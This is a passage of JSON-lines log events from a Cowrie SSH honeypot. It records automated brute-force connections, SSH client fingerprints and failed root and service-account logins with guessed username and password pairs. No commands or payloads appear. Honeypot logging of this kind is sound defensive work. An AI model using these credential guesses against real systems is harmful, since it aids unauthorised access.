{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:04:44.029305Z","src_ip":"50.116.72.139","session":"6312d8a03365","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo2","password":"odoo2","message":"login attempt [odoo2/odoo2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:04:44.165867Z","src_ip":"50.116.72.139","session":"6312d8a03365","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:04:44.792345Z","src_ip":"45.165.238.2","session":"66cd78417b7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:04:45.195137Z","src_ip":"50.116.72.139","session":"6312d8a03365","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.233.218.160","src_port":33448,"dst_ip":"10.17.0.5","dst_port":22,"session":"11a3d9e6ad8e","protocol":"ssh","message":"New connection: 45.233.218.160:33448 (10.17.0.5:22) [session: 11a3d9e6ad8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:05:13.736631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:05:13.742010Z","src_ip":"45.233.218.160","session":"11a3d9e6ad8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:05:13.881408Z","src_ip":"45.233.218.160","session":"11a3d9e6ad8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"12345","message":"login attempt [testuser/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:05:14.469221Z","src_ip":"45.233.218.160","session":"11a3d9e6ad8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:05:15.611405Z","src_ip":"45.233.218.160","session":"11a3d9e6ad8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.72.139","src_port":40804,"dst_ip":"10.17.0.5","dst_port":22,"session":"af5547554f71","protocol":"ssh","message":"New connection: 50.116.72.139:40804 (10.17.0.5:22) [session: af5547554f71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:05:51.531198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:05:51.536446Z","src_ip":"50.116.72.139","session":"af5547554f71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:05:51.564496Z","src_ip":"50.116.72.139","session":"af5547554f71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zxcvbnm123","message":"login attempt [root/Zxcvbnm123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:05:51.745756Z","src_ip":"50.116.72.139","session":"af5547554f71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:05:52.775507Z","src_ip":"50.116.72.139","session":"af5547554f71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":36424,"dst_ip":"159.203.135.109","dst_port":22,"session":"c01cc22d610d","protocol":"ssh","message":"New connection: 176.32.39.21:36424 (159.203.135.109:22) [session: c01cc22d610d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:05:55.096217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:05:55.102943Z","src_ip":"176.32.39.21","session":"c01cc22d610d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:05:55.230866Z","src_ip":"176.32.39.21","session":"c01cc22d610d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"000000-000000","message":"login attempt [root/000000-000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:05:55.594950Z","src_ip":"176.32.39.21","session":"c01cc22d610d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:05:56.720971Z","src_ip":"176.32.39.21","session":"c01cc22d610d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":39216,"dst_ip":"159.203.135.109","dst_port":22,"session":"94b3bbc1413d","protocol":"ssh","message":"New connection: 38.93.206.2:39216 (159.203.135.109:22) [session: 94b3bbc1413d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:06:37.345162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:06:37.349930Z","src_ip":"38.93.206.2","session":"94b3bbc1413d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:06:37.407928Z","src_ip":"38.93.206.2","session":"94b3bbc1413d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bullet695","message":"login attempt [root/bullet695] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:06:37.595518Z","src_ip":"38.93.206.2","session":"94b3bbc1413d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:06:38.680124Z","src_ip":"38.93.206.2","session":"94b3bbc1413d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":59434,"dst_ip":"10.17.0.5","dst_port":22,"session":"1aa7c9d12f94","protocol":"ssh","message":"New connection: 80.66.85.226:59434 (10.17.0.5:22) [session: 1aa7c9d12f94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:06:48.902974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:06:48.908173Z","src_ip":"80.66.85.226","session":"1aa7c9d12f94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:06:48.992488Z","src_ip":"80.66.85.226","session":"1aa7c9d12f94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"medvedeva","message":"login attempt [root/medvedeva] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:06:49.247648Z","src_ip":"80.66.85.226","session":"1aa7c9d12f94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":36980,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1734c6b3e1c","protocol":"ssh","message":"New connection: 185.236.22.41:36980 (159.203.135.109:22) [session: a1734c6b3e1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:06:50.093231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:06:50.187060Z","src_ip":"185.236.22.41","session":"a1734c6b3e1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:06:50.267865Z","src_ip":"185.236.22.41","session":"a1734c6b3e1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:06:50.337460Z","src_ip":"80.66.85.226","session":"1aa7c9d12f94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20071989","message":"login attempt [root/20071989] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:06:50.665435Z","src_ip":"185.236.22.41","session":"a1734c6b3e1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:06:51.781764Z","src_ip":"185.236.22.41","session":"a1734c6b3e1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.118.22","src_port":56472,"dst_ip":"159.203.135.109","dst_port":22,"session":"006f39f09009","protocol":"ssh","message":"New connection: 186.233.118.22:56472 (159.203.135.109:22) [session: 006f39f09009]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:06:52.431323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:06:52.436692Z","src_ip":"186.233.118.22","session":"006f39f09009","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:06:52.555676Z","src_ip":"186.233.118.22","session":"006f39f09009","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"suresh","password":"suresh","message":"login attempt [suresh/suresh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:06:53.060027Z","src_ip":"186.233.118.22","session":"006f39f09009","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:06:54.182978Z","src_ip":"186.233.118.22","session":"006f39f09009","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.72.139","src_port":54442,"dst_ip":"10.17.0.5","dst_port":22,"session":"95583f7f6bfe","protocol":"ssh","message":"New connection: 50.116.72.139:54442 (10.17.0.5:22) [session: 95583f7f6bfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:06:55.218759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:06:55.222784Z","src_ip":"50.116.72.139","session":"95583f7f6bfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"